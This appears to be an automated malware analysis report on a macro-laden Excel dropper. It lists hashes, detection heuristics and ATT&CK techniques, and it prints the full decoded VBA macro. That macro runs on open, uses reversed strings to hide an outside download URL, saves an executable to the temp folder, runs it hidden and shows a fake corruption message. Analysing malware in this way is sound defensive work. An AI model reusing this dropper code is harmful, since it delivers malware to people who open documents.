Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 8d8db91ad89fd5d0…

MALICIOUS

Office (OOXML)

16.2 KB Created: 2015-02-17 20:16:10 UTC Authoring application: Microsoft Excel 15.0300 First seen: 2015-04-15
MD5: 58e954d09187575a906deddff0616a1b SHA-1: eccc2df34122a86d7eefa46de0b93cfcf42f9170 SHA-256: 8d8db91ad89fd5d0098efefb31e1c2e18d910e79d023fc749b81fe65de55c2b7
368 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The VBA macro contains an obfuscated Workbook_Open auto-execution routine. It reconstructs the URL "the embedded link" using string concatenation and a custom Reverse function. The script then downloads the payload, saves it as "download.exe" in the user's temporary directory, and executes it using Shell. The user is presented with a fake corruption message to mask the malicious activity.

Heuristics 9

  • ClamAV: Doc.Dropper.Agent-6388488-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6388488-0
  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        MiItoVJ = Shell(aoYPpJE + KVfjCTu, 0)
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
        dyNhQEq = RpDjfnK.ResponseBody
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        Set RpDjfnK = CreateObject(Reverse("PTTHLMX.tfosorciM"))
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set RpDjfnK = CreateObject(Reverse("PTTHLMX.tfosorciM"))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_Open()
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1889 bytes
SHA-256: b1f1e9e1e22473040178ae248ebdd56b1acef2e9e74f8c760de23c8f8f03952c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Private Sub Workbook_Open()

    dyNhQEq = Reverse("exe.lld/sdaolnwod/gnitsoh.rlbmxt//:ptth")
    KVfjCTu = Chr(100) + Chr(108) + Chr(108) + Reverse("exe.")
    Const h5xnmmAQ = 2

    On Error Resume Next

    Dim RpDjfnK As Object
    Set RpDjfnK = CreateObject(Reverse("PTTHLMX.tfosorciM"))
    RpDjfnK.Open "GET", dyNhQEq, False
    RpDjfnK.Send
    dyNhQEq = RpDjfnK.ResponseBody

    Dim uMRwpoE: Set uMRwpoE = CreateObject(Reverse("tcejbOmetsySeliF.gnitpircS"))
    Dim aoYPpJE: aoYPpJE = uMRwpoE.GetSpecialFolder(h5xnmmAQ)

    Set CBamBLE = CreateObject(Reverse("maertS.BDODA"))
    CBamBLE.Open
    CBamBLE.Type = 1
    CBamBLE.Write RpDjfnK.ResponseBody
    CBamBLE.SaveToFile (aoYPpJE + KVfjCTu)
    CBamBLE.Close
    Dim MiItoVJ
    MiItoVJ = Shell(aoYPpJE + KVfjCTu, 0)

    MsgBox "This file is corrupt and cannot be opened.", vbAbortRetryIgnore + vbCritical + vbDefaultButton2, "Microsoft Excel"
    ThisWorkbook.Close savechanges:=False
    Application.Quit

End Sub

Function Reverse(Text As String) As String
    Dim i As Integer
    Dim StrNew As String
    Dim strOld As String
    strOld = Trim(Text)
    For i = 1 To Len(strOld)
      StrNew = Mid(strOld, i, 1) & StrNew
    Next i
    Reverse = StrNew
End Function

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 15360 bytes
SHA-256: faf5262a6d61fe57af09ce9c89e804dd9ca2a1c4dbc2e0d40ee7c0eb1b75be7e